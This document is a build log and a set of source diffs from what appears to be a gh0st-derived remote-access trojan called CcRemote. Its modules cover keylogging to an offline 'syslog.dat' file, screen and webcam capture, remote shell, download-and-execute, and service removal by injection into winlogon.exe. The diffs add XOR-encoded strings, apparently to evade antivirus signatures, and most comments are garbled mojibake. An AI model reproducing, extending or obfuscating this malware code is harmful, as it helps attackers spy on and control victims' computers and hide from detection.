f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
Manager.cpp
RegEditEx.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
RegeditOpt.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
RegManager.cpp
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
ScreenSpy.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
ServerManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
dllmain.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”可能丢失数据
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
正在生成代码
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
All 385 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,14 @@
#include "StrCry.h"
#include "pch.h"
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
char* decodeStr(char* str)
{
int len = str[0];
char * uncodeStr = (char *)operator new(len + 1);
for (size_t i = 1; i <= len; i++)
{
uncodeStr[i - 1] = str[i] ^ (0xCC - i);
}
uncodeStr[len] = 0x00;
return uncodeStr;
}

View File

@@ -0,0 +1,28 @@
#pragma once
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
//<2F><><EFBFBD><EFBFBD><EFBFBD>
//char* encryptionStr(char* str)
//{
// int len = strlen(str);
// char * a = (char *)operator new(len + 1);
// a[0] = len;
// for (size_t i = 1; i <= len; i++)
// {
// a[i] = str[i - 1] ^ (0xCC - i);
// }
// return a;
//}
#define STR_CRY_LENGTH 0 //<2F><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>
char* decodeStr(char* str);
//char <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5 }; //winsta0
//char* <20><><EFBFBD>ܳ<EFBFBD><DCB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ָ<EFBFBD><D6B8> = decodeStr(winsta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
//delete lpszWinSta;

View File

@@ -208,8 +208,17 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
memset(lpSubKey, 0, sizeof(lpSubKey));
wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);
//strcry
char shell_open_command[] = {0x15,0xee,0xb9,0x95,0xbb,0xaf,0xa3,0xa9,0xa8,0x9f,0xad,0xb1,0xa5,0xd1,0xe2,0xde,0xd3,0xd6,0xd7,0xd8,0xd6,0xd3 }; //%s\\shell\\open\\command
char* pShell_open_command = decodeStr(shell_open_command); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
wsprintf(lpSubKey, pShell_open_command, strTemp);
memset(pShell_open_command, 0, shell_open_command[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pShell_open_command;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
memset(strTemp, 0, sizeof(strTemp));
@@ -231,12 +240,23 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
char local_lpDesktop[] = "WinSta0\\Default";
//---crystr
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\\Default
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//char local_lpDesktop[] = "WinSta0\\Default";
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
si.lpDesktop = local_lpDesktop;
si.lpDesktop = pWinSta0;
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinSta0;
}
UINT CFileManager::SendDriveList()
{

View File

@@ -68,7 +68,7 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
case COMMAND_AUDIO: // ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
@@ -83,10 +83,12 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
Sleep(100);
break;
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
Sleep(100);
break;
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -94,6 +96,14 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
break;
case COMMAND_SERVICES: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServicesManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_REGEDIT: //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
@@ -138,13 +148,19 @@ void CKernelManager::UnInstallService()
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼<EFBFBD>ļ<EFBFBD>
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\syslog.dat");
char strRecordFile[MAX_PATH] = {0};
//GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "C:\\syslog.dat");
DeleteFile(strRecordFile);
char winlogon[] = { 0x0c,0xbc,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa,0xed,0xa7,0xb9,0xa5 }; //winlogon.exe
char* winlogon_exe = decodeStr(winlogon); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE><><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
{
//InjectRemoveService(winlogon_exe, m_strServiceName);
InjectRemoveService("winlogon.exe", m_strServiceName);
}
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -153,6 +169,8 @@ void CKernelManager::UnInstallService()
}
// <20><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD>߳̿<DFB3><CCBF><EFBFBD><EFBFBD>˳<EFBFBD>
CreateEvent(NULL, true, false, m_strKillEvent);
memset(winlogon_exe, 0, winlogon[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete winlogon_exe;
}
bool CKernelManager::IsActived()

View File

@@ -238,8 +238,8 @@ bool CKeyboardManager::StartHook()
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "\\syslog.dat");
//GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "C:\\syslog.dat");
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3>Ϳ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>߼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
@@ -295,7 +295,7 @@ int CKeyboardManager::sendOfflineRecord()
DWORD dwBytesRead = 0;
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\syslog.dat");
lstrcat(strRecordFile, "C:\\syslog.dat");
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)

View File

@@ -4,7 +4,7 @@
#include "..\pch.h"
//---<2D><>ʵ<EFBFBD><EFBFBD>CManager<EFBFBD><EFBFBD>ʲôҲû<EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>gh0st<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ôʹ<EFBFBD><EFBFBD>cClientSocket<EFBFBD>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
//---<2D><>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><>ClientSocket main <20><><EFBFBD><EFBFBD>
#include "Manager.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////

View File

@@ -1,5 +1,6 @@
#include "..\pch.h"
#include <windows.h>
#include "..\StrCry.h"
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)
{
@@ -69,6 +70,15 @@ int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
//strcry -----------------------
char* pDecodeStr;
char char_REG_SZ[] = { 0x06,0x99,0x8f,0x8e,0x97,0x94,0x9c }; //REG_SZ
char char_REG_EXPAND_SZ[] = { 0x0d,0x99,0x8f,0x8e,0x97,0x82,0x9e,0x95,0x85,0x8d,0x86,0x9e,0x93,0xe5 }; //REG_EXPAND_SZ
char char_REG_BINARY[] = { 0x0a,0x99,0x8f,0x8e,0x97,0x85,0x8f,0x8b,0x85,0x91,0x9b }; //REG_BINARY
char char_REG_MULTI_SZ[] = { 0x0c,0x99,0x8f,0x8e,0x97,0x8a,0x93,0x89,0x90,0x8a,0x9d,0x92,0x9a }; //REG_MULTI_SZ
char char_REG_DWORD[] = { 0x09,0x99,0x8f,0x8e,0x97,0x83,0x91,0x8a,0x96,0x87 }; //REG_DWORD
//------------------------------
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
@@ -154,20 +164,52 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
break;
switch(Type)
{
case REG_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
case REG_SZ:
pDecodeStr = decodeStr(char_REG_SZ); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
memset(pDecodeStr, 0, char_REG_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_EXPAND_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
case REG_EXPAND_SZ:
pDecodeStr = decodeStr(char_REG_EXPAND_SZ);
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
memset(pDecodeStr, 0, char_REG_EXPAND_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_DWORD:
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
pDecodeStr = decodeStr(char_REG_DWORD);
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
memset(pDecodeStr, 0, char_REG_DWORD[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_MULTI_SZ:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
